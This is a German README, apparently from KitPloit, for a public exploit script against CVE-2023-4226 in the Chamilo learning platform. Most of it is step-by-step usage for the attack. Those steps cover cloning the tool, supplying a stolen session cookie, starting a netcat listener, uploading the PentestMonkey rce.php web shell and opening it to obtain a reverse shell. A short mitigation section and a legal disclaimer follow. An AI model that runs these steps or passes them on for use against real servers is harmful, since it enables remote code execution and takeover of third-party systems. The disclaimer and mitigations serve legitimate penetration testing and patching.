📦 Anforderungen

• Python: requests, colorama.

  root@kitploit:~

  pip install requests colorama
  
  

• Dateien: rce.php (PentesterMonkey, im Repository enthalten), .htaccess (vom Skript generiert).

• Netzwerk: IP und Port für den Listener (z. B. nc -lvnp 4444).

🛠️ Verwendung

1. Klone das Repository:

   root@kitploit:~

   git clone https://github.com/SkyW4r33x/CVE-2023-4226
   cd CVE-2023-4226    
   

2. Setze Ausführungsberechtigungen für das Skript:

   root@kitploit:~

   chmod +x CVE-2023-4226.py    
   

3. Installiere Abhängigkeiten:

   root@kitploit:~

   pip install requests colorama    
   

4. Starte den Listener in einem Terminal:

   root@kitploit:~

   nc -lvnp 4444    
   

5. Führe das Skript aus:

   root@kitploit:~

   ./CVE-2023-4226.py    
   

6. Gib ein:

   • URL des Chamilo.
   • Cookie ch_sid.
   • IP und Port des Listeners.

7. Greife auf die Webshell zu, um die Reverse Shell zu starten:

   root@kitploit:~

   http://<chamilo>/app/cache/rce.php    
   

   Beispiel: http://chamilo.local/app/cache/rce.php

🛡️ Gegenmaßnahmen

• Aktualisiere auf Chamilo >= v1.11.26.

• Bereinige Dateinamen.

• Blockiere HTML in disable_dangerous_file().

• Füge in .htaccess hinzu:

  root@kitploit:~

  RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
  Header set X-Content-Type-Options nosniff    
  

⚠️ Rechtlicher Hinweis

Ausschließlich für autorisierte Tests. Nicht autorisierte Nutzung ist illegal.

🙌 Credits

• Schwachstelle: Ngo Wei Lin (@Creastery), STAR Labs.
• Skript: SkyW4r33x